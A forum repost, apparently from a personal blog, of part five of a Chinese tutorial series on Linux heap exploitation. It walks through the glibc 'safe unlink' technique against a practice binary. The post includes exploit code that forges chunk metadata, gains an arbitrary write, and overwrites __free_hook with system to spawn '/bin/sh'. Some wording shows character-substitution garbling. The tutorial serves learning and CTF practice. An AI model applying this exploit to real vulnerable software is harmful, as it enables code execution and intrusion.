12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 328|回复: 0

从零开始的Linux堆利用(五)

[复制链接]

315

主题

315

帖子

640

积分

实习版主

Rank: 7Rank: 7Rank: 7

积分
640
发表于 2021-7-26 01:44:49 | 显示全部楼层 |阅读模式
再贴一下本身的博客 https://hack1s.fun
libc的版本是2.30, 没有编译tcache的版本
上传附件限制3MB,libc比较大就没有传了嗷,可以直接用glibc-all-in-one大概LibcSearcher内里的
Safe_Unlink

前面说的Unsafe_Unlink是比较老的技术,后面glibc对堆的unlink进行了检查,另外也支持了NX这样的技术;
这一节介绍Safe_Unlink的攻击方法;
我们直接来看一下这次用到的步伐

相比之前的步伐,主要有两处不同,首先是步伐开启了NX,另外就是使用到了更加新的glibc
步伐运行起来照旧一个雷同的选单

我们首先照旧尝试获取到任意地址写的本领,修改这里的target值,之后利用这个任意地址写提拔为下令执行的权限;
在比较新的glibc中,unlink从原来的一个宏变成了函数,下面这个宏是我们之前unsafe_unlink中的unlink
#define unlink(P,BK,FD){  BK = P->bk;  FD = P->fd;  FD->bk = BK;  BK->fd = FD;}之后在更新的glibc中变成了这样的一个函数:
static void unlink_chunk(mstate av, mchunkptr p){  if(chunksize (p) != prev_size(next_chunk(p)))    malloc_printerr("corrupted size vs. prev_size");  mchunkptr fd = p->fd;  mchunkptr bk = p->bk;  if(__builtin_expert(fd->bk!=p || bk->fd! = p,0))    malloc_printerr("corrupted double-linked list");  fd->bk = bk;  bk->fd = fd;  ...}再下面的一部门的代码就是针对smallbin设置nextsize相干的地方了,对我们这次看的不是特别关键;
我们只关注这两个if判断就可以,可以看到这两个if判断比较了fd->bk和bk->fd事都是这个chunk本身;
如果fd、bk没有指向这个要unlink的chunk就会报错;
在linux的堆管理器中有一个优化,就是堆管理器在将内存分配给线程之后就不会再去管这个内存块的地址了,它只会关注线程总体的top_chunk以及free_list
在这种情况下,历程必要有一个地方存储本身申请的堆块地址,有的步伐会放在栈上,有的放在堆上,像这个步伐的话则是放在了bss段中一个叫做m_array的变量中,(这个名字可以随便起,这只是这个步伐里叫这个)
我们在IDA中打开这个步伐可以看到申请内存相干的地方存在对这个的设置;

在gdb调试中查看这个地方

首先p &m_array打出了这个数组的地址为0x602060
用xinfo 0x602060可以查看这个地址所在假造内存的映射情况,这里写出属于safe_unlink这个二进制本身的bss段
用p m_array可以打印出这个结构的值
末了也可以用ptype查看这里的定义

这里看到定义的是长度为二的两个机构,分别存储着user_data以及request_size
我们用vis看到的堆布局和这个同等

以及随手敲的两个长度也是对应的

既然这里存着一个这样的结构,其中存在两个指向chunk的userdata部门的指针,我们就可以利用这个指针来伪造chunk进而绕过safe unlink的检查;
任意地址写

通过溢出伪造chunk_B

首先我们照旧用和之前雷同的方法,编辑chunk_A的内容,消除chunk_B的prev_inuse标志位,这样在之后free(B)的时候堆管理器会误以为chunk_A也已经被free掉了,进而合并chunk_A、chunk_B和top_chunk
chunk_A = malloc(0x88)chunk_B = malloc(0x88)# Prepare fake chunk metadata.fd = 0xdeadbeef                                                                                                                                          bk = 0xcafebabeprev_size = 0x90fake_size = 0x90edit(chunk_A, p64(fd) + p64(bk) + p8(0)*0x70 + p64(prev_size) + p64(fake_size))运行看到通过溢出,chunk_B的prev_inuse被清零

同时chunk_A末了8个字节被算作chunk_B的一部门,是prev_size
fd和bk也都是现在伪造的地址;
如果是之前的那种远古unlink宏,直接修改fd、bk就可以达到任意地址写的效果;
但是前面我们也说到了更新一些的glibc中对unlink做了更细致的检查
会检查0xdeadbeef->bk以及0xcafebabe->fd是否为0x603000
那么这里就没办法简单的直接修改了;
借助m_array中的指针绕过unlink检查

我们前面看到,这个步伐中在bss段存储着一个用于统计分配给历程的堆的数据结构,其中存在两个指向userdata的指针
把这个指针当作是一个chunk的fd,那么我们伪造的chunk的bk就可以指向这里,bk->fd==p就可以绕过了
把这个指针当作是一个chunk的bk,那么我们伪造的chunk的fd就可以指向这里,fd->bk==p就可以绕过了
fd = elf.sym.m_array - 0x18bk = elf.sym.m_array - 0x10
这时可以看到,我们伪造的被free的chunk_A中的fd->bk==0x603010,但是这个值并不是chunk本身,而是chunk中的user data起始位置;
m_array中的值是没办法直接改动的,因此我们在伪造chunk的时候干脆连meta data一起伪造,伪造出一个从0x603010开始的chunk
在前面增加一个0和一个0x80的大小,后面记得要减小0x10的添补数据大小
chunk_A = malloc(0x88)chunk_B = malloc(0x88)# Prepare fake chunk metadata.fd = elf.sym.m_array - 0x18bk = elf.sym.m_array - 0x10prev_size = 0x80fake_size = 0x90edit(chunk_A, p64(0) + p64(0x80) + p64(fd) + p64(bk) + p8(0)*0x60 + p64(prev_size) + p64(fake_size))   
可以看到伪造的内容是一个大小0x80的chunk,继续运行,free(1)把后面的chunk_A给free掉
这时堆管理器处理时看到prev_inuse是0,就根据prev_size与前面的块合并,一同合并到top_chunk
执行完之后再断下来看一下,但是这时不能用vis了,由于堆已经被破坏了
我们用mp_.sbrk_base可以看到top_chunk已经变成了0x603010了也就是我们伪造的那个chunk的开始位置
也就是说两个空闲堆块已经consolidate到top_chunk了

再查看一下m_array

可以看到m_array[0]已经变成了0x602048
这是我们之前伪造的bk->fd=fd写入的
(伪造的bk是0x602050,指向的块的fd是0x602060,伪造的fd是0x602048;所以这里就是在0x602060的位置写入了0x602048)
这时由于m_array[0]的值已经被我们控制了,再使用edit(0)执行时就是往0x602048处写内容,也就是可以再次修改m_array的内容
我们再修改一次m_array[0],将其修改为我们想要写入值的地址,比如修改为target的地址
之后再一次edit(0),就可以修改target中的内容了

Drop a Shell!

有了任意地址写的本领之后,我们进一步就想要提拔权限为返回一个shell
我们照旧直接修改free_hook的值为system,这样free的时候就可以调用system
那么题目就是那里放"/bin/sh"呢?
这边有一个比较tricky的方法,就是在修改__free_hook的时候不直接把m_array[0]修改为__free_hook
我们可以修改为__free_hook - 8这样__free_hook前面8个字节放"/bin/sh\x00",之后是system的地址
并且由于m_array[0]指向的是__free_hook - 8正好就是/bin/sh的位置

在IDA中可以看到,调用选项三的时候最终实际上就是free(m_array[nb].user_data)
所以直接调用free(0)就会调用system("/bin/sh")
chunk_A = malloc(0x88)chunk_B = malloc(0x88)# Prepare fake chunk metadata.fd = elf.sym.m_array - 0x18bk = elf.sym.m_array - 0x10prev_size = 0x80fake_size = 0x90edit(chunk_A, p64(0) + p64(0x80) + p64(fd) + p64(bk) + p8(0)*0x60 + p64(prev_size) + p64(fake_size))free(chunk_B)#edit(chunk_A, p64(0)*3 + p64(elf.sym['target']))edit(chunk_A, p64(0)*3 + p64(libc.sym['__free_hook']-8))edit(chunk_A,b"/bin/sh\x00"+p64(libc.sym["system"]))free(chunk_A)看到末了的结果

拿到了任意代码执行的本领
safe_unlink.zip
6.1 KB, 下载次数: 7, 下载积分: 吾爱币 -1 CB


来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-4-24 14:57 , Processed in 0.093750 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表